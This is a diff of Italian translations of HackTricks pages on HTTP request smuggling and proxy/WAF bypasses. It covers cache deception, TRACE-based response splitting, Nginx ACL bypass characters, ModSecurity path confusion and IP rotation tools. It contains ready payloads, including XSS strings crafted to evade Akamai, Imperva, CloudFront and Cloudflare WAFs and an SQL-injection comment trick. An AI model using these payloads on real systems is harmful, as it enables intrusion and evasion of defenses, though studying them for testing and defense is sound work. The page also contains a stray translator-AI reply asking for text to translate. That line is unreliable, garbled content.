-> - Nell'**avvelenamento della cache web**, l'attaccante costringe l'applicazione a memorizzare del contenuto dannoso nella cache, e questo contenuto viene servito dalla cache ad altri utenti dell'applicazione.
-> - Nell'**inganno della cache web**, l'attaccante costringe l'applicazione a memorizzare del contenuto sensibile appartenente a un altro utente nella cache, e l'attaccante poi recupera questo contenuto dalla cache.
+> - In **web cache poisoning**, l'attaccante fa sì che l'applicazione memorizzi nella cache del contenuto malevolo, e questo contenuto viene servito dalla cache ad altri utenti dell'applicazione.
+> - In **web cache deception**, l'attaccante fa sì che l'applicazione memorizzi nella cache del contenuto sensibile appartenente a un altro utente, e poi l'attaccante recupera questo contenuto dalla cache.
 
-L'attaccante crea una richiesta di smuggling che recupera contenuti sensibili specifici per l'utente. Considera il seguente esempio:
+L'attaccante crea una smuggled request che recupera contenuti sensibili specifici per l'utente. Considera il seguente esempio:
 ```markdown
 `POST / HTTP/1.1`\
 `Host: vulnerable-website.com`\
@@ -622,17 +624,19 @@ L'attaccante crea una richiesta di smuggling che recupera contenuti sensibili sp
 `GET /private/messages HTTP/1.1`\
 `Foo: X`
 ```
-Se questa richiesta di smuggling avvelena un'entrata della cache destinata a contenuti statici (ad es., `/someimage.png`), i dati sensibili della vittima da `/private/messages` potrebbero essere memorizzati nella cache sotto l'entrata della cache dei contenuti statici. Di conseguenza, l'attaccante potrebbe potenzialmente recuperare questi dati sensibili memorizzati nella cache.
+Se questa smuggled request avvelena un'entrata della cache destinata a contenuti statici (ad es., `/someimage.png`), i dati sensibili della vittima da `/private/messages` potrebbero essere memorizzati nella cache sotto l'entrata del contenuto statico. Di conseguenza, l'attaccante potrebbe potenzialmente recuperare questi dati sensibili memorizzati nella cache.
 
 ### Abusare di TRACE tramite HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
 
-[**In questo post**](https://portswigger.net/research/trace-desync-attack) si suggerisce che se il server ha abilitato il metodo TRACE, potrebbe essere possibile abusarne con un HTTP Request Smuggling. Questo perché questo metodo rifletterà qualsiasi intestazione inviata al server come parte del corpo della risposta. Ad esempio:
+[**In this post**](https://portswigger.net/research/trace-desync-attack) si suggerisce che, se il server ha il metodo TRACE abilitato, potrebbe essere possibile abusarne tramite HTTP Request Smuggling. Questo perché questo metodo riflette qualsiasi header inviato al server come parte del corpo della risposta. Per esempio:
 ```
 TRACE / HTTP/1.1
 Host: example.com
 XSS: <script>alert("TRACE")</script>
 ```
-Sure, please provide the text you would like me to translate.
+Non hai fornito il contenuto da tradurre. Per favore incolla qui il testo del file src/pentesting-web/http-request-smuggling/README.md che vuoi tradurre.
+
+Nota: seguirò le regole indicate (non tradurre codice, nomi di tecniche, link, percorsi, tag o markup).
 ```
 HTTP/1.1 200 OK
 Content-Type: message/http
@@ -643,17 +647,17 @@ Host: vulnerable.com
 XSS: <script>alert("TRACE")</script>
 X-Forwarded-For: xxx.xxx.xxx.xxx
 ```
-Un esempio su come abusare di questo comportamento sarebbe **smuggler prima una richiesta HEAD**. Questa richiesta verrà risposta solo con le **intestazioni** di una richiesta GET (**`Content-Type`** tra esse). E smuggler **immediatamente dopo la HEAD una richiesta TRACE**, che rifletterà i dati inviati.\
-Poiché la risposta HEAD conterrà un'intestazione `Content-Length`, la **risposta della richiesta TRACE sarà trattata come il corpo della risposta HEAD, riflettendo quindi dati arbitrari** nella risposta.\
-Questa risposta sarà inviata alla richiesta successiva sulla connessione, quindi potrebbe essere **utilizzata in un file JS memorizzato nella cache, ad esempio, per iniettare codice JS arbitrario**.
+Un esempio di come abusare di questo comportamento sarebbe **smuggle prima una HEAD request**. A questa request verrà risposto solo con le **headers** di una GET request (**`Content-Type`** tra queste). E fare **smuggle immediatamente dopo la HEAD una TRACE request**, che **rifletterà i dati inviati**.\
+Poiché la HEAD response conterrà un header `Content-Length`, la **response della TRACE request sarà trattata come il body della HEAD response, riflettendo quindi dati arbitrari** nella risposta.\
+Questa risposta sarà inviata alla request successiva sulla connessione, quindi questo potrebbe essere **usato in un file JS cached per esempio per iniettare codice JS arbitrario**.
 
-### Abusare di TRACE tramite HTTP Response Splitting <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
+### Abusing TRACE via HTTP Response Splitting <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
 
-Continuare seguendo [**questo post**](https://portswigger.net/research/trace-desync-attack) è suggerito un altro modo per abusare del metodo TRACE. Come commentato, smuggler una richiesta HEAD e una richiesta TRACE è possibile **controllare alcuni dati riflessi** nella risposta alla richiesta HEAD. La lunghezza del corpo della richiesta HEAD è fondamentalmente indicata nell'intestazione Content-Length ed è formata dalla risposta alla richiesta TRACE.
+Si suggerisce di seguire [**this post**](https://portswigger.net/research/trace-desync-attack) per un altro modo di abusare del metodo TRACE. Come osservato, effettuando lo smuggle di una HEAD request e di una TRACE request è possibile **controllare alcuni dati riflessi** nella risposta alla HEAD request. La lunghezza del body della HEAD request è indicata dall'header `Content-Length` ed è costituita dalla response alla TRACE request.
 
-Pertanto, la nuova idea sarebbe che, conoscendo questo Content-Length e i dati forniti nella risposta TRACE, è possibile far sì che la risposta TRACE contenga una risposta HTTP valida dopo l'ultimo byte del Content-Length, consentendo a un attaccante di controllare completamente la richiesta alla risposta successiva (che potrebbe essere utilizzata per eseguire un avvelenamento della cache).
+Quindi, l'idea è che, conoscendo questo `Content-Length` e i dati forniti nella TRACE response, è possibile far sì che la TRACE response contenga una HTTP response valida dopo l'ultimo byte indicato dal `Content-Length`, permettendo a un attacker di controllare completamente la request verso la response successiva (che potrebbe essere usata per effettuare un cache poisoning).
 
-Esempio:
+Example:
 ```
 GET / HTTP/1.1
 Host: example.com
@@ -672,7 +676,7 @@ Content-Length: 44\r\n
 \r\n
 <script>alert("response splitting")</script>
 ```
-Genererà queste risposte (nota come la risposta HEAD ha un Content-Length che rende la risposta TRACE parte del corpo HEAD e una volta che il Content-Length HEAD termina, una risposta HTTP valida viene nascosta):
+Genererà queste risposte (nota come la risposta HEAD ha un Content-Length che rende la risposta TRACE parte del body della HEAD e una volta che il Content-Length della HEAD termina viene smuggled una HTTP response valida):
 ```
 HTTP/1.1 200 OK
 Content-Type: text/html
@@ -693,32 +697,32 @@ Content-Length: 50
 
 <script>alert(“arbitrary response”)</script>
 ```
-### Arma di HTTP Request Smuggling con Desincronizzazione della Risposta HTTP
+### Sfruttare HTTP Request Smuggling tramite HTTP Response Desynchronisation
 
-Hai trovato una vulnerabilità di HTTP Request Smuggling e non sai come sfruttarla. Prova questi altri metodi di sfruttamento:
+Hai trovato una vulnerabilità di HTTP Request Smuggling e non sai come exploit it. Prova questi altri metodi di exploitation:
 
 
 {{#ref}}
 ../http-response-smuggling-desync.md
 {{#endref}}
 
-### Altre Tecniche di HTTP Request Smuggling
+### Altre tecniche di HTTP Request Smuggling
 
-- HTTP Request Smuggling nel Browser (Lato Client)
+- Browser HTTP Request Smuggling (Client Side)
 
 
 {{#ref}}
 browser-http-request-smuggling.md
 {{#endref}}
 
-- Request Smuggling nei Downgrade di HTTP/2
+- Request Smuggling in HTTP/2 Downgrades
 
 
 {{#ref}}
 request-smuggling-in-http-2-downgrades.md
 {{#endref}}
 
-## Script Turbo Intruder
+## Turbo intruder scripts
 
 ### CL.TE
 
@@ -807,14 +811,14 @@ table.add(req)
 ```
 ## Strumenti
 
-- HTTP Hacker (Burp BApp Store) – visualizza la concatenazione/framing e il comportamento HTTP a basso livello
-- https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda Azione personalizzata Burp Repeater "Smuggling or pipelining?"
+- HTTP Hacker (Burp BApp Store) – visualizzare la concatenazione/framing e il comportamento HTTP a basso livello
+- https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda Burp Repeater Custom Action "Smuggling or pipelining?"
 - [https://github.com/anshumanpattnaik/http-request-smuggling](https://github.com/anshumanpattnaik/http-request-smuggling)
 - [https://github.com/PortSwigger/http-request-smuggler](https://github.com/PortSwigger/http-request-smuggler)
 - [https://github.com/gwen001/pentest-tools/blob/master/smuggler.py](https://github.com/gwen001/pentest-tools/blob/master/smuggler.py)
 - [https://github.com/defparam/smuggler](https://github.com/defparam/smuggler)
 - [https://github.com/Moopinger/smugglefuzz](https://github.com/Moopinger/smugglefuzz)
-- [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): Questo strumento è un Fuzzer HTTP basato su grammatica utile per trovare strane discrepanze nel request smuggling.
+- [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): Questo tool è un HTTP Fuzzer basato su grammatica utile per trovare strane discrepanze di request smuggling.
 
 ## Riferimenti
 
@@ -827,10 +831,10 @@ table.add(req)
 - [https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/](https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/)
 - [https://portswigger.net/research/trace-desync-attack](https://portswigger.net/research/trace-desync-attack)
 - [https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
-- Fai attenzione al falso positivo: come distinguere l'HTTP pipelining dal request smuggling – [https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling](https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling)
+- Attenzione ai falsi falsi‑positivi: come distinguere HTTP pipelining da request smuggling – [https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling](https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling)
 - [https://http1mustdie.com/](https://http1mustdie.com/)
-- Attacchi Desync alimentati dal browser – [https://portswigger.net/research/browser-powered-desync-attacks](https://portswigger.net/research/browser-powered-desync-attacks)
-- PortSwigger Academy – desync lato client – [https://portswigger.net/web-security/request-smuggling/browser/client-side-desync](https://portswigger.net/web-security/request-smuggling/browser/client-side-desync)
+- Browser‑Powered Desync Attacks – [https://portswigger.net/research/browser-powered-desync-attacks](https://portswigger.net/research/browser-powered-desync-attacks)
+- PortSwigger Academy – client‑side desync – [https://portswigger.net/web-security/request-smuggling/browser/client-side-desync](https://portswigger.net/web-security/request-smuggling/browser/client-side-desync)
 
 
 {{#include ../../banners/hacktricks-training.md}}

src/pentesting-web/proxy-waf-protections-bypass.md

@@ -1,9 +1,9 @@
-# Proxy / WAF Protections Bypass
+# Bypass delle protezioni Proxy / WAF
 
 {{#include ../banners/hacktricks-training.md}}
 
 
-## Bypass Nginx ACL Rules with Pathname Manipulation <a href="#heading-pathname-manipulation-bypassing-reverse-proxies-and-load-balancers-security-rules" id="heading-pathname-manipulation-bypassing-reverse-proxies-and-load-balancers-security-rules"></a>
+## Bypass delle regole ACL di Nginx con Pathname Manipulation <a href="#heading-pathname-manipulation-bypassing-reverse-proxies-and-load-balancers-security-rules" id="heading-pathname-manipulation-bypassing-reverse-proxies-and-load-balancers-security-rules"></a>
 
 Tecniche [da questa ricerca](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies).
 
@@ -17,41 +17,41 @@ location = /admin/ {
 deny all;
 }
 ```
-Per prevenire bypass, Nginx esegue la normalizzazione del percorso prima di controllarlo. Tuttavia, se il server backend esegue una normalizzazione diversa (rimuovendo caratteri che nginx non rimuove), potrebbe essere possibile bypassare questa difesa.
+Per prevenire bypass, Nginx esegue la normalizzazione del path prima di verificarlo. Tuttavia, se il server backend esegue una normalizzazione diversa (rimuovendo caratteri che nginx non rimuove) potrebbe essere possibile eludere questa difesa.
 
 ### **NodeJS - Express**
 
-| Versione Nginx | **Caratteri di Bypass Node.js** |
-| --------------- | ------------------------------- |
-| 1.22.0          | `\xA0`                          |
-| 1.21.6          | `\xA0`                          |
-| 1.20.2          | `\xA0`, `\x09`, `\x0C`          |
-| 1.18.0          | `\xA0`, `\x09`, `\x0C`          |
-| 1.16.1          | `\xA0`, `\x09`, `\x0C`          |
+| Nginx Version | **Node.js Bypass Characters** |
+| ------------- | ----------------------------- |
+| 1.22.0        | `\xA0`                        |
+| 1.21.6        | `\xA0`                        |
+| 1.20.2        | `\xA0`, `\x09`, `\x0C`        |
+| 1.18.0        | `\xA0`, `\x09`, `\x0C`        |
+| 1.16.1        | `\xA0`, `\x09`, `\x0C`        |
 
 ### **Flask**
 
-| Versione Nginx | **Caratteri di Bypass Flask**                                   |
-| --------------- | -------------------------------------------------------------- |
-| 1.22.0          | `\x85`, `\xA0`                                                |
-| 1.21.6          | `\x85`, `\xA0`                                                |
-| 1.20.2          | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` |
-| 1.18.0          | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` |
-| 1.16.1          | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` |
+| Nginx Version | **Flask Bypass Characters**                                    |
+| ------------- | -------------------------------------------------------------- |
+| 1.22.0        | `\x85`, `\xA0`                                                 |
+| 1.21.6        | `\x85`, `\xA0`                                                 |
+| 1.20.2        | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` |
+| 1.18.0        | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` |
+| 1.16.1        | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` |
 
 ### **Spring Boot**
 
-| Versione Nginx | **Caratteri di Bypass Spring Boot** |
-| --------------- | ----------------------------------- |
-| 1.22.0          | `;`                                 |
-| 1.21.6          | `;`                                 |
-| 1.20.2          | `\x09`, `;`                         |
-| 1.18.0          | `\x09`, `;`                         |
-| 1.16.1          | `\x09`, `;`                         |
+| Nginx Version | **Spring Boot Bypass Characters** |
+| ------------- | --------------------------------- |
+| 1.22.0        | `;`                               |
+| 1.21.6        | `;`                               |
+| 1.20.2        | `\x09`, `;`                       |
+| 1.18.0        | `\x09`, `;`                       |
+| 1.16.1        | `\x09`, `;`                       |
 
 ### **PHP-FPM**
 
-Configurazione FPM di Nginx:
+Configurazione Nginx FPM:
 ```plaintext
 location = /admin.php {
 deny all;
@@ -62,7 +62,7 @@ include snippets/fastcgi-php.conf;
 fastcgi_pass unix:/run/php/php8.1-fpm.sock;
 }
 ```
-Nginx è configurato per bloccare l'accesso a `/admin.php`, ma è possibile aggirare questo blocco accedendo a `/admin.php/index.php`.
+Nginx è configurato per bloccare l'accesso a `/admin.php` ma è possibile bypassarlo accedendo a `/admin.php/index.php`.
 
 ### Come prevenire
 ```plaintext
@@ -74,20 +74,20 @@ deny all;
 
 ### Path Confusion
 
-[**In questo post**](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/) si spiega che ModSecurity v3 (fino alla 3.0.12), **ha implementato in modo errato la variabile `REQUEST_FILENAME`** che doveva contenere il percorso accessibile (fino all'inizio dei parametri). Questo perché eseguiva un'URL decode per ottenere il percorso.\
-Pertanto, una richiesta come `http://example.com/foo%3f';alert(1);foo=` in mod security supporrà che il percorso sia solo `/foo` perché `%3f` viene trasformato in `?` che termina il percorso URL, ma in realtà il percorso che un server riceverà sarà `/foo%3f';alert(1);foo=`.
+[**In this post**](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/) è spiegato che ModSecurity v3 (fino alla 3.0.12), **ha implementato in modo errato la variabile `REQUEST_FILENAME`** che avrebbe dovuto contenere il path accesso (fino all'inizio dei parametri). Questo perché eseguiva un URL decode per ottenere il path.\
+Pertanto, una richiesta come `http://example.com/foo%3f';alert(1);foo=` in mod security supporrà che il path sia solo `/foo` perché `%3f` viene trasformato in `?` che termina il percorso URL, ma in realtà il path che il server riceverà sarà `/foo%3f';alert(1);foo=`.
 
-Le variabili `REQUEST_BASENAME` e `PATH_INFO` sono state anch'esse influenzate da questo bug.
+Le variabili `REQUEST_BASENAME` e `PATH_INFO` sono state anch'esse interessate da questo bug.
 
-Qualcosa di simile è accaduto nella versione 2 di Mod Security che ha permesso di bypassare una protezione che impediva all'utente di accedere a file con estensioni specifiche relative ai file di backup (come `.bak`) semplicemente inviando il punto codificato in URL come `%2e`, per esempio: `https://example.com/backup%2ebak`.
+Qualcosa di simile è accaduto nella versione 2 di Mod Security che permetteva di bypassare una protezione che impediva agli utenti di accedere a file con estensioni specifiche relative ai backup (come `.bak`) semplicemente inviando il punto URL-encoded come `%2e`, per esempio: `https://example.com/backup%2ebak`.
 
 ## Bypass AWS WAF ACL <a href="#heading-bypassing-aws-waf-acl" id="heading-bypassing-aws-waf-acl"></a>
 
 ### Malformed Header
 
-[Questa ricerca](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) menziona che era possibile bypassare le regole AWS WAF applicate sugli header HTTP inviando un header "malformato" che non veniva correttamente analizzato da AWS ma dal server backend.
+[This research](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) menziona che era possibile bypassare le regole di AWS WAF applicate alle intestazioni HTTP inviando un'intestazione "malformata" che non veniva correttamente parsata da AWS ma che invece veniva parsata dal server di backend.
 
-Ad esempio, inviando la seguente richiesta con un'iniezione SQL nell'header X-Query:
+Per esempio, inviando la seguente richiesta con una SQL injection nell'header X-Query:
 ```http
 GET / HTTP/1.1\r\n
 Host: target.com\r\n
@@ -96,49 +96,50 @@ X-Query: Value\r\n
 Connection: close\r\n
 \r\n
 ```
-È stato possibile bypassare AWS WAF perché non comprendeva che la riga successiva fa parte del valore dell'intestazione, mentre il server NODEJS lo faceva (questo è stato risolto).
+È stato possibile bypassare AWS WAF perché non capiva che la riga successiva faceva parte del valore dell'header, mentre il server NODEJS lo faceva (questo è stato corretto).
 
 ## Bypass generici del WAF
 
-### Limiti delle dimensioni delle richieste
+### Limiti di dimensione della richiesta
 
-Comunemente i WAF hanno un certo limite di lunghezza delle richieste da controllare e se una richiesta POST/PUT/PATCH supera tale limite, il WAF non controllerà la richiesta.
+Normalmente i WAF hanno un limite di lunghezza delle richieste da ispezionare; se una richiesta POST/PUT/PATCH lo supera, il WAF non la controllerà.
 
-- Per AWS WAF, puoi [**controllare la documentazione**](https://docs.aws.amazon.com/waf/latest/developerguide/limits.html)**:**
+- For AWS WAF, you can [**check the documentation**](https://docs.aws.amazon.com/waf/latest/developerguide/limits.html)**:**
 
-<table data-header-hidden><thead><tr><th width="687"></th><th></th></tr></thead><tbody><tr><td>Dimensione massima di un corpo di richiesta web che può essere ispezionata per le protezioni di Application Load Balancer e AWS AppSync</td><td>8 KB</td></tr><tr><td>Dimensione massima di un corpo di richiesta web che può essere ispezionata per le protezioni di CloudFront, API Gateway, Amazon Cognito, App Runner e Verified Access**</td><td>64 KB</td></tr></tbody></table>
+<table data-header-hidden><thead><tr><th width="687"></th><th></th></tr></thead><tbody><tr><td>Dimensione massima del body di una web request che può essere ispezionata per le protezioni di Application Load Balancer e AWS AppSync</td><td>8 KB</td></tr><tr><td>Dimensione massima del body di una web request che può essere ispezionata per le protezioni di CloudFront, API Gateway, Amazon Cognito, App Runner, e Verified Access protections**</td><td>64 KB</td></tr></tbody></table>
 
-- Da [**Azure docs**](https://learn.microsoft.com/en-us/azure/web-application-firewall/ag/application-gateway-waf-request-size-limits)**:**
+- From [**Azure docs**](https://learn.microsoft.com/en-us/azure/web-application-firewall/ag/application-gateway-waf-request-size-limits)**:**
 
-I firewall per applicazioni web più vecchi con Core Rule Set 3.1 (o inferiore) consentono messaggi più grandi di **128 KB** disattivando l'ispezione del corpo della richiesta, ma questi messaggi non verranno controllati per vulnerabilità. Per le versioni più recenti (Core Rule Set 3.2 o superiori), lo stesso può essere fatto disabilitando il limite massimo del corpo della richiesta. Quando una richiesta supera il limite di dimensione:
+Web Application Firewall più vecchi con Core Rule Set 3.1 (o inferiore) permettono messaggi più grandi di **128 KB** disattivando l'ispezione del body della richiesta, ma questi messaggi non verranno controllati per vulnerabilità. Per le versioni più recenti (Core Rule Set 3.2 o successive), la stessa operazione può essere effettuata disabilitando il limite massimo del body. Quando una richiesta supera il limite di dimensione:
 
-Se **modalità di prevenzione**: Registra e blocca la richiesta.\
-Se **modalità di rilevamento**: Ispeziona fino al limite, ignora il resto e registra se il `Content-Length` supera il limite.
+Se in **modalità di prevenzione**: Registra e blocca la richiesta.\
+Se in **modalità di rilevamento**: Ispeziona fino al limite, ignora il resto e registra se il `Content-Length` supera il limite.
 
-- Da [**Akamai**](https://community.akamai.com/customers/s/article/Can-WAF-inspect-all-arguments-and-values-in-request-body?language=en_US)**:**
+- From [**Akamai**](https://community.akamai.com/customers/s/article/Can-WAF-inspect-all-arguments-and-values-in-request-body?language=en_US)**:**
 
-Per impostazione predefinita, il WAF ispeziona solo i primi 8KB di una richiesta. Può aumentare il limite fino a 128KB aggiungendo Metadati Avanzati.
+Per default, il WAF ispeziona solo i primi 8KB di una richiesta. È possibile aumentare il limite fino a 128KB aggiungendo Advanced Metadata.
 
-- Da [**Cloudflare**](https://developers.cloudflare.com/ruleset-engine/rules-language/fields/#http-request-body-fields)**:**
+- From [**Cloudflare**](https://developers.cloudflare.com/ruleset-engine/rules-language/fields/#http-request-body-fields)**:**
 
 Fino a 128KB.
 
-### Lacune nell'ispezione degli asset statici (.js GETs)
+### Gap nell'ispezione degli asset statici (.js GETs)
 
-Alcuni stack CDN/WAF applicano un'ispezione debole o assente del contenuto alle richieste GET per asset statici (ad esempio percorsi che terminano con `.js`), mentre applicano comunque regole globali come il rate limiting e la reputazione IP. Combinato con l'auto-cache delle estensioni statiche, questo può essere abusato per consegnare o seminare varianti dannose che influenzano le risposte HTML successive.
+Alcune catene CDN/WAF applicano un'ispezione del contenuto debole o nulla alle richieste GET per asset statici (per esempio path che finiscono con `.js`), pur continuando ad applicare regole globali come rate limiting e IP reputation. Combinato con l'auto-caching delle estensioni statiche, questo può essere abusato per distribuire o inoculare varianti malevole che influenzano le risposte HTML successive.
 
 Casi d'uso pratici:
 
-- Invia payload in intestazioni non affidabili (ad es., `User-Agent`) su un GET a un percorso `.js` per evitare l'ispezione del contenuto, quindi richiedi immediatamente l'HTML principale per influenzare la variante memorizzata nella cache.
-- Usa un IP fresco/pulito; una volta che un IP è contrassegnato, le modifiche di routing possono rendere la tecnica inaffidabile.
-- In Burp Repeater, usa "Invia gruppo in parallelo" (stile pacchetto singolo) per far correre le due richieste (`.js` poi HTML) attraverso lo stesso percorso front-end.
+- Inviare payload in header non affidabili (es., `User-Agent`) con un GET a un path `.js` per evitare l'ispezione del contenuto, poi richiedere immediatamente l'HTML principale per influenzare la variante in cache.
+- Usare un IP fresco/pulito; una volta che un IP viene segnalato, cambiamenti di routing possono rendere la tecnica non affidabile.
+- In Burp Repeater, usare "Send group in parallel" (stile single-packet) per gareggiare con le due richieste (`.js` poi HTML) tramite lo stesso percorso front-end.
 
-Questo si abbina bene con il poisoning della cache di riflessione dell'intestazione. Vedi:
+Questo si abbina bene al header-reflection cache poisoning. Vedi:
 
-- {{#ref}}
+{{#ref}}
 cache-deception/README.md
 {{#endref}}
-- [Come ho trovato un takeover di account a 0 clic in un BBP pubblico e l'ho sfruttato per accedere a funzionalità di livello Admin](https://hesar101.github.io/posts/How-I-found-a-0-Click-Account-takeover-in-a-public-BBP-and-leveraged-It-to-access-Admin-Level-functionalities/)
+
+- [How I found a 0-Click Account takeover in a public BBP and leveraged it to access Admin-Level functionalities](https://hesar101.github.io/posts/How-I-found-a-0-Click-Account-takeover-in-a-public-BBP-and-leveraged-It-to-access-Admin-Level-functionalities/)
 
 ### Offuscamento <a href="#ip-rotation" id="ip-rotation"></a>
 ```bash
@@ -150,7 +151,7 @@ cache-deception/README.md
 ```
 ### Compatibilità Unicode <a href="#unicode-compatability" id="unicode-compatability"></a>
 
-A seconda dell'implementazione della normalizzazione Unicode (maggiori informazioni [qui](https://jlajara.gitlab.io/Bypass_WAF_Unicode)), i caratteri che condividono la compatibilità Unicode potrebbero essere in grado di bypassare il WAF ed eseguire il payload previsto. I caratteri compatibili possono essere trovati [qui](https://www.compart.com/en/unicode).
+A seconda dell'implementazione della Unicode normalization (maggiori informazioni [here](https://jlajara.gitlab.io/Bypass_WAF_Unicode)), caratteri che condividono la compatibilità Unicode potrebbero riuscire a bypassare il WAF ed essere eseguiti come il payload previsto. I caratteri compatibili si possono trovare [here](https://www.compart.com/en/unicode).
 
 #### Esempio <a href="#example" id="example"></a>
 ```bash
@@ -160,24 +161,24 @@ A seconda dell'implementazione della normalizzazione Unicode (maggiori informazi
 ```
 ### Bypass Contextual WAFs with encodings <a href="#ip-rotation" id="ip-rotation"></a>
 
-Come menzionato in [**questo post del blog**](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization), per bypassare i WAF in grado di mantenere un contesto dell'input dell'utente, potremmo abusare delle tecniche WAF per normalizzare effettivamente l'input degli utenti.
+Come menzionato in [**this blog post**](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization), per bypassare WAFs in grado di mantenere un contesto dell'input utente potremmo abusare delle tecniche del WAF per normalizzare effettivamente l'input dell'utente.
 
-Ad esempio, nel post si menziona che **Akamai ha decodificato un input utente 10 volte**. Pertanto, qualcosa come `<input/%2525252525252525253e/onfocus` sarà visto da Akamai come `<input/>/onfocus`, il che **potrebbe far pensare che sia ok poiché il tag è chiuso**. Tuttavia, finché l'applicazione non decodifica l'input 10 volte, la vittima vedrà qualcosa come `<input/%25252525252525253e/onfocus`, che è **ancora valido per un attacco XSS**.
+Per esempio, nel post si menziona che **Akamai URL decoded a user input 10 times**. Quindi qualcosa come `<input/%2525252525252525253e/onfocus` sarà visto da Akamai come `<input/>/onfocus` il quale **potrebbe ritenere che vada bene poiché il tag è chiuso**. Tuttavia, fintanto che l'applicazione non effettua URL decode sull'input 10 volte, la vittima vedrà qualcosa come `<input/%25252525252525253e/onfocus` che è **ancora valido per un attacco XSS**.
 
-Pertanto, questo consente di **nascondere payload in componenti codificati** che il WAF decodificherà e interpreterà mentre la vittima no.
+Di conseguenza, questo permette di **nascondere payloads in componenti codificati** che il WAF decodificherà e interpreterà mentre la vittima non lo farà.
 
-Inoltre, questo può essere fatto non solo con payload codificati in URL, ma anche con altre codifiche come unicode, esadecimale, ottale...
+Inoltre, questo può essere fatto non solo con payloads URL encoded ma anche con altre codifiche come unicode, hex, octal...
 
-Nel post vengono suggeriti i seguenti bypass finali:
+Nel post i seguenti bypass finali sono suggeriti:
 
 - Akamai:`akamai.com/?x=<x/%u003e/tabindex=1 autofocus/onfocus=x=self;x['ale'%2b'rt'](999)>`
 - Imperva:`imperva.com/?x=<x/\x3e/tabindex=1 style=transition:0.1s autofocus/onfocus="a=document;b=a.defaultView;b.ontransitionend=b['aler'%2b't'];style.opacity=0;Object.prototype.toString=x=>999">`
 - AWS/Cloudfront:`docs.aws.amazon.com/?x=<x/%26%23x3e;/tabindex=1 autofocus/onfocus=alert(999)>`
 - Cloudflare:`cloudflare.com/?x=<x tabindex=1 autofocus/onfocus="style.transition='0.1s';style.opacity=0;self.ontransitionend=alert;Object.prototype.toString=x=>999">`
 
-Si menziona anche che a seconda di **come alcuni WAF comprendono il contesto** dell'input dell'utente, potrebbe essere possibile abusarne. L'esempio proposto nel blog è che Akamai consente di mettere qualsiasi cosa tra `/*` e `*/` (potenzialmente perché questo è comunemente usato come commenti). Pertanto, una SQL injection come `/*'or sleep(5)-- -*/` non verrà catturata e sarà valida poiché `/*` è la stringa iniziale dell'iniezione e `*/` è commentato.
+Viene anche menzionato che, a seconda di **come alcuni WAFs comprendono il contesto** dell'input utente, potrebbe essere possibile abusarne. L'esempio proposto nel blog è che Akamai permetteva di inserire qualsiasi cosa tra `/*` e `*/` (potenzialmente perché questo è comunemente usato come commento). Di conseguenza, una SQLinjection come `/*'or sleep(5)-- -*/` non verrà intercettata e sarà valida, poiché `/*` è la stringa d'inizio dell'injection e `*/` è commentata.
 
-Questi tipi di problemi di contesto possono essere utilizzati anche per **abusare di altre vulnerabilità oltre a quella prevista** per essere sfruttata dal WAF (ad esempio, questo potrebbe essere utilizzato anche per sfruttare un XSS).
+Questi tipi di problemi di contesto possono anche essere usati per **abusi di vulnerabilità diverse da quella prevista** dallo scopo del WAF (es. questo può essere usato per sfruttare una XSS).
 
 ### H2C Smuggling <a href="#ip-rotation" id="ip-rotation"></a>
 
@@ -188,15 +189,15 @@ h2c-smuggling.md
 
 ### IP Rotation <a href="#ip-rotation" id="ip-rotation"></a>
 
-- [https://github.com/ustayready/fireprox](https://github.com/ustayready/fireprox): Genera un URL di gateway API da utilizzare con ffuf
+- [https://github.com/ustayready/fireprox](https://github.com/ustayready/fireprox): Genera un URL di API gateway da usare con ffuf
 - [https://github.com/rootcathacking/catspin](https://github.com/rootcathacking/catspin): Simile a fireprox
-- [https://github.com/PortSwigger/ip-rotate](https://github.com/PortSwigger/ip-rotate): Plugin di Burp Suite che utilizza IP di gateway API
